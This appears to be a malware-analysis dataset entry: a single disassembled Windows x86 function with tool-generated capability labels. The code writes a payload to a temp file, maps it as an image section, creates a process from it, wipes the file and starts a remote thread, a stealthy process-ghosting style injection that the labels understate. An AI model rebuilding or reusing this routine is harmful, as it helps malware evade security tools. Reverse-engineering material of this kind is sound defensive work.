Function at 0x405ff0
Capabilities:
Get common file path
Link many functions at runtime
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12ec
call fcn.00409710
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x14], edx
push 0x401368
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x40140c
push edi
call esi
push 0x40141c
push edi
mov dword [ebp - 0xc], eax
call esi
push 0x401430
push edi
mov dword [ebp - 8], eax
call esi
push 0x401450
push edi
mov dword [ebp - 0x1c], eax
call esi
push 0x40146c
push edi
mov dword [ebp - 0x34], eax
call esi
mov dword [ebp - 0x30], eax
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x8f0]
push eax
push 0xf6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x406382
cmp eax, 0xf6
ja 0x406382
push 0x401480
call fcn.004026d0
mov esi, dword [sym.imp.SHLWAPI.dll_wnsprintfW]
push eax
push 0x401140
lea eax, [ebp - 0x470]
push 0x104
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x8f0]
push eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x406382
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x406382
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x14]
push 0
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x268]
push eax
push 0x40148c
lea eax, [ebp - 0x12e8]
push 0x400
push eax
call esi
mov esi, dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea eax, [ebp - 0x268]
add esp, 0x10
push eax
lea eax, [ebp - 0x44]
push eax
call esi
lea eax, [ebp - 0x12e8]
push eax
lea eax, [ebp - 0x3c]
push eax
call esi
push ebx
push 0x1000000
push 2
push 0
push 0
push 0xf001f
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0
call dword [ebp - 0xc]
test eax, eax
jne 0x406372
push eax
push eax
push eax
push dword [ebp - 0x18]
push 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push 0
push 0x1fffff
lea eax, [ebp - 4]
push eax
call dword [ebp - 8]
test eax, eax
jne 0x406372
mov eax, dword fs:[0x30]
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 8], 0
nop dword [eax]
mov byte [ebp + eax - 0x5c], 0
inc eax
cmp eax, 0x18
jb 0x4061d0
mov esi, dword [ebp - 0x14]
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test esi, esi
je 0x406236
nop
mov ecx, 0x400
mov dword [ebp - 0xc], 0
cmp esi, ecx
cmovb ecx, esi
xor eax, eax
nop dword [eax]
nop word [eax + eax]
mov byte [ebp + eax - 0xae8], 0
inc eax
cmp eax, 0x400
jb 0x406210
push 0
lea eax, [ebp - 0xc]
push eax
push ecx
lea eax, [ebp - 0xae8]
push eax
push ebx
call edi
sub esi, dword [ebp - 0xc]
jne 0x4061f0
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
lea eax, [ebp - 0x24]
push eax
push 0x18
lea eax, [ebp - 0x5c]
push eax
push 0
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov esi, dword [sym.imp.ntdll.dll_NtClose]
test eax, eax
jne 0x40635e
push 0
push 0x480
lea eax, [ebp - 0x6e8]
push eax
push dword [ebp - 0x58]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x40635e
mov eax, dword [ebp - 0x28]
push 0
push 0
push 0
mov eax, dword [eax + 0x10]
push 0
push 0
push dword [eax + 0x48]
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 8]
push eax
call dword [ebp - 0x1c]
test eax, eax
jne 0x40635e
mov eax, dword [ebp - 8]
push 4
push 0x3000
mov ecx, dword [eax + 0x290]
add ecx, dword [eax]
push ecx
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, eax
mov dword [ebp - 0x10], edx
test edx, edx
je 0x406357
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x48], 0
je 0x4062f8
mov eax, dword [ecx + 4]
add eax, edx
mov dword [ecx + 0x48], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add edi, 0x10
push 0
push dword [ebp - 0x1c]
push ecx
push edx
push dword [ebp - 4]
call esi
push 0
push 4
lea eax, [ebp - 0x10]
push eax
push edi
push dword [ebp - 4]
call esi
mov ecx, dword [ebp - 0x2c]
push 0
push 0
push 0
mov eax, dword [ecx + 0x28]
add eax, dword [ebp - 0x6e0]
push 0
push 0
push 0
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x20]
push 0
push 0x1fffff
push eax
call dword [ebp - 0x30]
mov esi, dword [sym.imp.ntdll.dll_NtClose]
test eax, eax
jne 0x406357
push dword [ebp - 0x20]
call esi
lea eax, [ebp - 8]
push eax
call dword [ebp - 0x34]
mov eax, dword [ebp - 4]
test eax, eax
je 0x406368
push eax
call esi
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x406372
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret